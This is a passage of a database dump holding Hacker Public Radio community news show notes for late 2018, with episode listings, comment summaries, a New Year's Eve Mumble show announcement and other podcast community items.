href=\"https://hackerpublicradio.org/eps.php?id=2558#8\" target=\"_blank\">Comment 8</a>:\nDave Morriss on 2018-11-10:\n\"Re: You missed one\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2562#comments\" target=\"_blank\">hpr2562</a></strong>\n(2018-05-29) \"<em>I bought a laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2562#2\" target=\"_blank\">Comment 2</a>:\nFiftyOneFifty on 2018-11-05:\n\"Getting paid in Cryptocurrency\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2629#comments\" target=\"_blank\">hpr2629</a></strong>\n(2018-08-30) \"<em>Thoughts on language learning part 3 - game/story mode.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2629#1\" target=\"_blank\">Comment 1</a>:\nJoel H. on 2018-10-31:\n\"Good ideas!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2665#comments\" target=\"_blank\">hpr2665</a></strong>\n(2018-10-19) \"<em>Exercise and Diet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2665#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-11-21:\n\"You\'ve convinced me.\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2665#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2018-11-28:\n\"It is about making a decision\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2668#comments\" target=\"_blank\">hpr2668</a></strong>\n(2018-10-24) \"<em>Explaining the controls on my Amateur HF Radio Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2668#2\" target=\"_blank\">Comment 2</a>:\nlostnbronx on 2018-11-01:\n\"Great Gear!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2672#comments\" target=\"_blank\">hpr2672</a></strong>\n(2018-10-30) \"<em>Porteus</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2672#1\" target=\"_blank\">Comment 1</a>:\nAlison Chaiken on 2018-11-11:\n\"particularly informative episode\"</li></ul><br/>\n</li></ul>\n<p>There are 15 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2674#comments\" target=\"_blank\">hpr2674</a></strong>\n(2018-11-01) \"<em>Raspberry pi3 open media server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2674#1\" target=\"_blank\">Comment 1</a>:\nJason Lewis on 2018-11-01:\n\"Volume\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2675#comments\" target=\"_blank\">hpr2675</a></strong>\n(2018-11-02) \"<em>YouTube Playlists</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2675#1\" target=\"_blank\">Comment 1</a>:\nGus on 2018-11-05:\n\"Praise\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2675#2\" target=\"_blank\">Comment 2</a>:\nAhuka on 2018-11-05:\n\"MY pleasure\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2676#comments\" target=\"_blank\">hpr2676</a></strong>\n(2018-11-05) \"<em>HPR Community News for October 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2676#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2018-11-05:\n\"What were you going to say?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2676#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-11-07:\n\"Smiling all the way to the end.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2676#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2018-11-07:\n\"Ken\'s perfect example.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2676#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2018-11-22:\n\"we\'ll get back to that\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2677#comments\" target=\"_blank\">hpr2677</a></strong>\n(2018-11-06) \"<em>Thoughts on language learning part 4 - RPG.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2677#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-10-22:\n\"Looks like I forgot to tuncate silence\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2679#comments\" target=\"_blank\">hpr2679</a></strong>\n(2018-11-08) \"<em>Extra ancillary Bash tips - 13</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2679#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-11-24:\n\"Immediately useful\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2679#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-11-25:\n\"Thanks clacke!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2683#comments\" target=\"_blank\">hpr2683</a></strong>\n(2018-11-14) \"<em>Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2683#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-11-15:\n\"Super Dad\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2683#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2018-11-17:\n\"Thank you.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2684#comments\" target=\"_blank\">hpr2684</a></strong>\n(2018-11-15) \"<em>Making a remote control visible</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2684#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2018-11-15:\n\"LOL!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2684#2\" target=\"_blank\">Comment 2</a>:\npauleb on 2018-11-16:\n\"Great hack, great episode!!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2693#comments\" target=\"_blank\">hpr2693</a></strong>\n(2018-11-28) \"<em>Getting started with web based game in Haskell and Elm</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2693#1\" target=\"_blank\">Comment 1</a>:\nklaatu on 2018-11-30:\n\"Cool game idea, cool intro\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-November/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-November/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"hacker-public-radio-new-years-eve-show\">Hacker Public Radio New Year’s Eve Show</h3>\n<p><small><small><a href=\"https://www.linuxlugcast.com/category/news\">Edited from linuxlugcast.com</a></small></small></p>\n<p>Hey folks</p>\n<p>It’s that time of year again. Time for the Hacker Public Radio 24 hr (26 hr) New Years Eve Show.</p>\n<p>For those who don’t know on New Years Eve 2018-12-31 at 10:00 am UTC (5:00 am EST) we will have a recording going on the HPR Mumble server (at <b>ch1.teamspeak.cc</b> on port <b>64747</b>) for anyone to come on say “Happy New Year” and talk about what ever they want.</p>\n<p>We will leave the recording going until 2019-01-01 12:00 am UTC (7:00 am EST) or until the conversation stops.</p>\n<p>For those who have never used Mumble before, we have a guide over at linuxlugcast.com in our how to section explaining how to setup the desktop Mumble client, but Mumble isn’t only available for the desktop. It is also available for Android and IOS.</p>\n<p>We are also going to setup an etherpad for people to share links to things they are discussing.</p>\n<p>So please stop in. Say “Hi” and maybe join in the conversation with other HPR listeners and contributors. It’s always a good time.</p>\n<h3 id=\"new-podcast---libre-lounge\">New podcast - <code>Libre Lounge</code></h3>\n<p><a href=\"https://librelounge.org/\">Libre Lounge</a></p>\n<p>Quoted from the site:</p>\n<blockquote>\n<p>Libre Lounge is a podcast where we casually discuss various topics involving user freedom, crossing free software, free culture, network and hosting freedom, and libre hardware designs. We discuss everything from policy and licensing to deep dives on technical topics… whatever seems interesting that week. At some point we might even have guests!</p>\n</blockquote>\n<h3 id=\"internet-archive-funding-drive\">Internet Archive funding drive</h3>\n<p>As you know, HPR uploads all current episodes to the Internet Archive at <a href=\"https://archive.org\" class=\"uri\">https://archive.org</a>, and is in the process of uploading older shows, so we are particularly keen that this amazing service continues.</p>\n<p>The Internet Archive is currently fundraising. Donations are currently being matched by a generous supporter, so this will double your impact if you are able to donate.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Over the period tags and/or summaries have been added to 23 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2721,'2019-01-07','HPR Community News for December 2018',4247,'HPR Volunteers talk about shows released and comments posted in December 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2696\" target=\"_blank\">2696</a></strong></td>\n    <td>Mon</td>\n    <td>2018-12-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2696\" target=\"_blank\">HPR Community News for November 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2697\" target=\"_blank\">2697</a></strong></td>\n    <td>Tue</td>\n    <td>2018-12-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2697\" target=\"_blank\">The Linux Shutdown Command Explained</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2698\" target=\"_blank\">2698</a></strong></td>\n    <td>Wed</td>\n    <td>2018-12-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2698\" target=\"_blank\">XSV for fast CSV manipulations - Part 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2699\" target=\"_blank\">2699</a></strong></td>\n    <td>Thu</td>\n    <td>2018-12-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2699\" target=\"_blank\">Bash Tips - 15</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2700\" target=\"_blank\">2700</a></strong></td>\n    <td>Fri</td>\n    <td>2018-12-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2700\" target=\"_blank\">Episode 3000</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2701\" target=\"_blank\">2701</a></strong></td>\n    <td>Mon</td>\n    <td>2018-12-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2701\" target=\"_blank\">First impressions of the Odroid-go</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2702\" target=\"_blank\">2702</a></strong></td>\n    <td>Tue</td>\n    <td>2018-12-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2702\" target=\"_blank\">Audacity set up and response to episode 2658</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2703\" target=\"_blank\">2703</a></strong></td>\n    <td>Wed</td>\n    <td>2018-12-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2703\" target=\"_blank\">Fog of war in Yesod based game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2704\" target=\"_blank\">2704</a></strong></td>\n    <td>Thu</td>\n    <td>2018-12-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2704\" target=\"_blank\">Intro to Scribus</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2705\" target=\"_blank\">2705</a></strong></td>\n    <td>Fri</td>\n    <td>2018-12-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2705\" target=\"_blank\">Evidence-based Medicine</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2706\" target=\"_blank\">2706</a></strong></td>\n    <td>Mon</td>\n    <td>2018-12-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2706\" target=\"_blank\">Why I love the IBM AS/400 computer systems</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2707\" target=\"_blank\">2707</a></strong></td>\n    <td>Tue</td>\n    <td>2018-12-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2707\" target=\"_blank\">Steganalysis 101</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=372\" target=\"_blank\">Edward Miro / c1ph0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2708\" target=\"_blank\">2708</a></strong></td>\n    <td>Wed</td>\n    <td>2018-12-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2708\" target=\"_blank\">Ghostscript</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2709\" target=\"_blank\">2709</a></strong></td>\n    <td>Thu</td>\n    <td>2018-12-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2709\" target=\"_blank\">Bash Tips - 16</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2710\" target=\"_blank\">2710</a></strong></td>\n    <td>Fri</td>\n    <td>2018-12-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2710\" target=\"_blank\">Youtube downloader for channels</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2711\" target=\"_blank\">2711</a></strong></td>\n    <td>Mon</td>\n    <td>2018-12-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2711\" target=\"_blank\">Raspberry Pi 3A+ Review</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=370\" target=\"_blank\">Yannick the french guy from Switzerland</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2712\" target=\"_blank\">2712</a></strong></td>\n    <td>Tue</td>\n    <td>2018-12-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2712\" target=\"_blank\">Steganography</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2713\" target=\"_blank\">2713</a></strong></td>\n    <td>Wed</td>\n    <td>2018-12-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2713\" target=\"_blank\">Resources in 4x game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2714\" target=\"_blank\">2714</a></strong></td>\n    <td>Thu</td>\n    <td>2018-12-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2714\" target=\"_blank\">Airplane stalls and Angle of Attack</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2715\" target=\"_blank\">2715</a></strong></td>\n    <td>Fri</td>\n    <td>2018-12-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2715\" target=\"_blank\">About ONAP</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2716\" target=\"_blank\">2716</a></strong></td>\n    <td>Mon</td>\n    <td>2018-12-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2716\" target=\"_blank\">Really Simple YouTube</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 34 comments in total.</p>\n<p>There are 15 comments on\n11 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1536#comments\" target=\"_blank\">hpr1536</a></strong>\n(2014-06-23) \"<em>The 150-in-1 Electronic Project Kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=1536#9\" target=\"_blank\">Comment 9</a>:\nRichard Harris on 2018-12-16:\n\"Consultant, Licensed technical instructor\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2378#comments\" target=\"_blank\">hpr2378</a></strong>\n(2017-09-13) \"<em>Why Docbook?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2378#10\" target=\"_blank\">Comment 10</a>:\nKlaatu on 2018-12-22:\n\"docbook rocks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2562#comments\" target=\"_blank\">hpr2562</a></strong>\n(2018-05-29) \"<em>I bought a laptop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2562#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2018-12-05:\n\"This is an episode\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2619#comments\" target=\"_blank\">hpr2619</a></strong>\n(2018-08-16) \"<em>A Gentle Introduction to Quilt</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\" target=\"_blank\">bjb</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2619#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-22:\n\"can\'t wait to try it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2635#comments\" target=\"_blank\">hpr2635</a></strong>\n(2018-09-07) \"<em>Running your own mainframe on Linux (for fun and profit)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2635#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2018-12-22:\n\"Best explanation of what a mainframe is\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2661#comments\" target=\"_blank\">hpr2661</a></strong>\n(2018-10-15) \"<em>My Music Production Setup</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2661#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-12-22:\n\"Nice look behind the scenes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2666#comments\" target=\"_blank\">hpr2666</a></strong>\n(2018-10-22) \"<em>Slackware Post-Install</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2666#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2018-12-22:\n\"shameless self promotion\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2672#comments\" target=\"_blank\">hpr2672</a></strong>\n(2018-10-30) \"<em>Porteus</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2672#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-03:\n\"Late response better than no response\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2693#comments\" target=\"_blank\">hpr2693</a></strong>\n(2018-11-28) \"<em>Getting started with web based game in Haskell and Elm</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2693#2\" target=\"_blank\">Comment 2</a>:\ntuturto on 2018-12-01:\n\"thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2694#comments\" target=\"_blank\">hpr2694</a></strong>\n(2018-11-29) \"<em>Bandit Update</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2694#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-12-03:\n\"Use the website\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2694#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2018-12-03:\n\"Huh?\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2694#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2018-12-04:\n\"I took it to be a hacking challange\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2694#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2018-12-04:\n\"Webpage\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2695#comments\" target=\"_blank\">hpr2695</a></strong>\n(2018-11-30) \"<em>Problems with Studies</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2695#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2018-12-20:\n\"Required listening\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2695#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2018-12-21:\n\"Finding truth\"</li></ul><br/>\n</li></ul>\n<p>There are 19 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2697#comments\" target=\"_blank\">hpr2697</a></strong>\n(2018-12-04) \"<em>The Linux Shutdown Command Explained</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2697#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2018-12-04:\n\"shutdown on BSDs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2697#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-12-20:\n\"another great jwp episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2697#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2018-12-20:\n\"episode 2725\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2698#comments\" target=\"_blank\">hpr2698</a></strong>\n(2018-12-05) \"<em>XSV for fast CSV manipulations - Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2698#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2018-12-05:\n\"Good timing\"</li><li><a 